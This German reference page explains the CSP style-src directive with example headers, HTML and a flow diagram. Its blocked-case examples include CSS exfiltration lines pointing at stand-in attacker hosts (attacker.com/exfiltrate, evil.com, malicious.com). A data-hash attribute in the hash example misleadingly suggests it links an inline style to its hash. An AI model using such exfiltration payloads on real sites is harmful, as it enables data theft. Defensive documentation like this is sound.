HTTP CSP style-src

Die style-src Direktive der Content Security Policy kontrolliert CSS-Quellen Inline-Styles und style-Elemente zur Prävention CSS-basierter Angriffe.

Typ

CSP-Direktive zur Kontrolle von CSS-Quellen Inline-Styles und style-Elementen, verhindert CSS-basierte Datenexfiltration UI-Redressing und Phishing in API-getriebenen Webanwendungen.

Syntax

Die Direktive definiert erlaubte Quellen für Stylesheets. Ohne granulare style-src-elem oder style-src-attr Direktiven kontrolliert sie beide.

http 
Content-Security-Policy: style-src <source-list>

Direktiven

Die style-src Direktive kontrolliert alle CSS-Quellen durch URL-Whitelisting Nonce und Hash-basierte Security.

source-list
Erlaubte Quellen für CSS-Ressourcen. Unterstützt URLs, 'self', 'unsafe-inline', Nonces, Hashes, und 'unsafe-hashes'. Kontrolliert externe Stylesheets, <style>-Elemente und style-Attribute.
'unsafe-hashes'
Aktiviert Hash-basierte Freigabe für style-Attribute. Ermöglicht selektive Inline-Style-Attribute durch SHA-256-Hashes ohne vollständiges unsafe-inline.

Beispiele

Praktische Szenarien für style-src in React SPAs Admin-Dashboards und E-Commerce-Plattformen mit CDN-Whitelisting und Performance-optimiertem CSS.

SPA mit CDN-Stylesheet-Whitelisting

React-Applikationen erlauben Styles nur von vertrauenswürdigen CDNs:

http 
HTTP/2 200 OK
Content-Type: text/html
Content-Security-Policy: style-src 'self' https://cdn.example.com https://fonts.googleapis.com

<!DOCTYPE html>
<html>
<head>
  <!-- Erlaubt (self) -->
  <link rel="stylesheet" href="/app.css">

  <!-- Erlaubt (CDN whitelist) -->
  <link rel="stylesheet" href="https://cdn.example.com/bootstrap.css">
  <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto">

  <!-- Blockiert (nicht in whitelist) -->
  <link rel="stylesheet" href="https://malicious.com/steal-data.css">

  <!-- Blockiert (unsafe-inline nicht gesetzt) -->
  <style>body { background: red; }</style>
  <div style="color: blue">Text</div>
</head>
</html>

Nur whitelistete Domains können Stylesheets liefern. Inline-Styles sind standardmäßig blockiert.

API-Dashboard mit Nonce-basierten Inline-Styles

Admin-Panels nutzen Nonces für dynamisch generierte <style>-Blöcke:

http 
HTTP/2 200 OK
Content-Type: text/html
Content-Security-Policy: style-src 'self' 'nonce-s7yl3xyz'

<!DOCTYPE html>
<html>
<head>
  <link rel="stylesheet" href="/dashboard.css"> <!-- OK -->

  <!-- Erlaubt durch Nonce -->
  <style nonce="s7yl3xyz">
    .chart { width: 100%; height: 400px; }
    .metric { font-size: 2em; color: #2563eb; }
  </style>

  <!-- Blockiert (kein Nonce) -->
  <style>
    body { background: url('https://attacker.com/exfiltrate?data=...'); }
  </style>
</head>
<body>
  <!-- Blockiert (style-Attribut ohne unsafe-hashes) -->
  <div style="display: none">Hidden</div>
</body>
</html>

<style>-Elemente benötigen Nonce. Inline style-Attribute sind blockiert (benötigen 'unsafe-hashes').

E-Commerce mit Hash-basiertem Critical CSS

Performance-optimierte Shops whitelisten Critical-Path-CSS durch Hashes:

http 
HTTP/2 200 OK
Content-Type: text/html
Content-Security-Policy: style-src 'self' 'sha256-HASH123' 'unsafe-hashes' 'sha256-HASH456'

<!DOCTYPE html>
<html>
<head>
  <!-- Erlaubt (Hash-Match für Critical CSS) -->
  <style>.above-fold { display: block; }</style>

  <link rel="stylesheet" href="/full.css"> <!-- OK durch 'self' -->
</head>
<body>
  <!-- Erlaubt durch unsafe-hashes + Hash -->
  <div style="color: red" data-hash="HASH456">Sale</div>

  <!-- Blockiert (kein Hash-Match) -->
  <div style="background: url('https://track.com/pixel')">Track</div>
</body>
</html>

Spezifische Inline-Styles werden durch Hashes freigegeben. 'unsafe-hashes' aktiviert Hash-basierte style-Attribute.

Stylesheet-Validation-Flow

Visualisierung der style-src Policy-Enforcement bei externen Stylesheets Inline-Styles und CDN-Whitelisting mit CSS-Injection-Prevention.

plantuml 
@startuml
actor User
participant "Browser" as Browser
participant "API Frontend" as API
participant "CDN" as CDN
participant "CSP Engine" as CSP
participant "Attacker CDN" as Attacker

User -> Browser: Request /app
Browser -> API: GET /app
API -> Browser: HTML + CSP: style-src 'self' https://cdn.example.com

Browser -> Browser: Parse HTML
Browser -> Browser: Find <link rel="stylesheet" href="/app.css">

Browser -> CSP: Validate stylesheet source
CSP -> CSP: Check origin: same-origin ('self')
CSP -> Browser: Allow stylesheet load
Browser -> API: GET /app.css
API -> Browser: CSS content
Browser -> Browser: Apply styles

Browser -> Browser: Find <link href="https://cdn.example.com/lib.css">
Browser -> CSP: Validate external stylesheet
CSP -> CSP: Check domain in whitelist
CSP -> Browser: Allow
Browser -> CDN: GET /lib.css
CDN -> Browser: CSS content

Browser -> Browser: Find <style>body { ... }</style>
Browser -> CSP: Validate inline style
CSP -> CSP: Check 'unsafe-inline' or nonce
CSP -> Browser: Block (not allowed)
note right: Inline <style> blockiert

Browser -> Browser: Find <link href="https://evil.com/exfiltrate.css">
Browser -> CSP: Validate source
CSP -> CSP: evil.com not in whitelist
CSP -> Browser: Block stylesheet load
note right: CSS-basierter Angriff verhindert

Browser -> Attacker: (Blocked)
Browser -> Browser: Log CSP violation
@enduml

Vorteile für die Systemarchitektur

CSS-Quellen-Kontrolle verhindert Datenexfiltration und UI-Redressing durch CDN-Whitelisting und Hash-basierte Performance-Optimierungen in API-Frontends.

  • CSS-Injection-Prävention: Verhindert Angriffe wie Datenexfiltration via CSS-Selektoren und Background-Image-URLs sowie UI-Redressing durch injizierte Styles
  • Performance-Optimierung: Hash-basierte Critical-CSS-Freigabe ermöglicht Inline-Performance-Optimierungen ohne unsafe-inline Security-Risiken
  • CDN-Strategie-Enforcement: Erzwingt Nutzung autorisierter CSS-CDNs und verhindert unerwünschte externe Stylesheet-Einbindung

Spezifikation

Die style-src Direktive ist Teil der CSP Level 2/3 Spezifikation:

Granulare Kontrolle: CSP Level 3 führt style-src-elem (für <style> und <link>) und style-src-attr (für style="" Attribute) ein. Falls nicht gesetzt, kontrolliert style-src beide.

Weitere Spezifikationen

CSP style-src-attr, CSP style-src-elem